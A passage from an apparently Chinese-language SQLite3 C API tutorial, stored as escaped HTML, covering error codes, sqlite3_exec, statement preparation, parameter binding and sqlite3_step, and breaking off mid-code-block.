而且允许使用PRAGMA声明来设置如本地文本编码或默认内存页面大小等选项和参数.\u003c/p\u003e\u003cp\u003esqlite3_errcode() 通常用来获取最近调用的API接口返回的错误代码. sqlite3_errmsg() 则用来得到这些错误代码所对应的文字说明. 这些错误信息将以 UTF-8 的编码返回,并且在下一次调用任何SQLite API函数的时候被清除. sqlite3_errmsg16() 和sqlite3_errmsg() 大体上相同,除了返回的错误信息将以 UTF-16 本机字节顺序编码.\u003c/p\u003e\u003cp\u003eSQLite3的错误代码相比SQLite2没有任何的改变,它们分别是:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_OK           0   \u003cspan class=\"comment\"\u003e/* Successful result */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_ERROR        1   \u003cspan class=\"comment\"\u003e/* SQL error or missing database */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_INTERNAL     2   \u003cspan class=\"comment\"\u003e/* An internal logic error in SQLite */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_PERM         3   \u003cspan class=\"comment\"\u003e/* Access permission denied */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_ABORT        4   \u003cspan class=\"comment\"\u003e/* Callback routine requested an abort */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_BUSY         5   \u003cspan class=\"comment\"\u003e/* The database file is locked */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_LOCKED       6   \u003cspan class=\"comment\"\u003e/* A table in the database is locked */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_NOMEM        7   \u003cspan class=\"comment\"\u003e/* A malloc() failed */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_READONLY     8   \u003cspan class=\"comment\"\u003e/* Attempt to write a readonly database */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_INTERRUPT    9   \u003cspan class=\"comment\"\u003e/* Operation terminated by sqlite_interrupt() */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_IOERR       10   \u003cspan class=\"comment\"\u003e/* Some kind of disk I/O error occurred */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_CORRUPT     11   \u003cspan class=\"comment\"\u003e/* The database disk image is malformed */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_NOTFOUND    12   \u003cspan class=\"comment\"\u003e/* (Internal Only) Table or record not found */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_FULL        13   \u003cspan class=\"comment\"\u003e/* Insertion failed because database is full */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_CANTOPEN    14   \u003cspan class=\"comment\"\u003e/* Unable to open the database file */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_PROTOCOL    15   \u003cspan class=\"comment\"\u003e/* Database lock protocol error */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_EMPTY       16   \u003cspan class=\"comment\"\u003e/* (Internal Only) Database table is empty */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_SCHEMA      17   \u003cspan class=\"comment\"\u003e/* The database schema changed */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_TOOBIG      18   \u003cspan class=\"comment\"\u003e/* Too much data for one row of a table */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_CONSTRAINT  19   \u003cspan class=\"comment\"\u003e/* Abort due to contraint violation */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_MISMATCH    20   \u003cspan class=\"comment\"\u003e/* Data type mismatch */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_MISUSE      21   \u003cspan class=\"comment\"\u003e/* Library used incorrectly */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_NOLFS       22   \u003cspan class=\"comment\"\u003e/* Uses OS features not supported on host */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_AUTH        23   \u003cspan class=\"comment\"\u003e/* Authorization denied */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_ROW         100  \u003cspan class=\"comment\"\u003e/* sqlite_step() has another row ready */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_DONE        101  \u003cspan class=\"comment\"\u003e/* sqlite_step() has finished executing */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)执行 SQL 语句\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"title function_\"\u003eint\u003c/span\u003e \u003cspan class=\"params\"\u003e(*sqlite_callback)\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003echar\u003c/span\u003e**, \u003cspan class=\"type\"\u003echar\u003c/span\u003e**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *sql, sqlite_callback, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003echar\u003c/span\u003e**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_exec 函数依然像它在SQLite2中一样承担着很多的工作. 该函数的第二个参数中可以编译和执行零个或多个SQL语句. 查询的结果返回给回调函数. 更多地信息可以查看API 参考.\u003c/p\u003e\u003cp\u003e在SQLite3里,sqlite3_exec一般是被准备SQL语句接口封装起来使用的.\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3_stmt\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_prepare\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, sqlite3_stmt**, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_prepare16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, sqlite3_stmt**, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_finalize\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_reset\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_prepare 接口把一条SQL语句编译成字节码留给后面的执行函数. 使用该接口访问数据库是当前比较好的的一种方法.\u003c/p\u003e\u003cp\u003esqlite3_prepare() 处理的SQL语句应该是UTF-8编码的. 而sqlite3_prepare16() 则要求是UTF-16编码的. 输入的参数中只有第一个SQL语句会被编译. 第四个参数则用来指向输入参数中下一个需要编译的SQL语句存放的SQLite statement对象的指针,任何时候如果调用 sqlite3_finalize() 将销毁一个准备好的SQL声明. 在数据库关闭之前,所有准备好的声明都必须被释放销毁. sqlite3_reset() 函数用来重置一个SQL声明的状态,使得它可以被再次执行.\u003c/p\u003e\u003cp\u003eSQL声明可以包含一些型如”?” 或 “?nnn” 或 “:aaa”的标记, 其中”nnn” 是一个整数,”aaa” 是一个字符串. 这些标记代表一些不确定的字符值(或者说是通配符),可以在后面用sqlite3_bind 接口来填充这些值. 每一个通配符都被分配了一个编号(由它在SQL声明中的位置决定,从1开始),此外也可以用 “nnn” 来表示 “?nnn” 这种情况. 允许相同的通配符在同一个SQL声明中出现多次, 在这种情况下所有相同的通配符都会被替换成相同的值. 没有被绑定的通配符将自动取NULL值.\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_blob\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_double\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_int\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_int64\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_null\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_text\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_text16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_value\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003econst\u003c/span\u003e sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e以上是 sqlite3_bind 所包含的全部接口,它们是用来给SQL声明中的通配符赋值的. 没有绑定的通配符则被认为是空值.绑定上的值不会被sqlite3_reset()函数重置. 但是在调用了sqlite3_reset()之后所有的通配符都可以被重新赋值.\u003c/p\u003e\u003cp\u003e在SQL声明准备好之后(其中绑定的步骤是可选的), 需要调用以下的方法来执行:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果SQL返回了一个单行结果集,sqlite3_step() 函数将返回 SQLITE_ROW , 如果SQL语句执行成功或者正常将返回SQLITE_DONE , 否则将返回错误代码. 如果不能打开数据库文件则会返回 SQLITE_BUSY . 如果函数的返回值是SQLITE_ROW, 那么下边的这些方法可以用来获得记录集行中的数据:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan 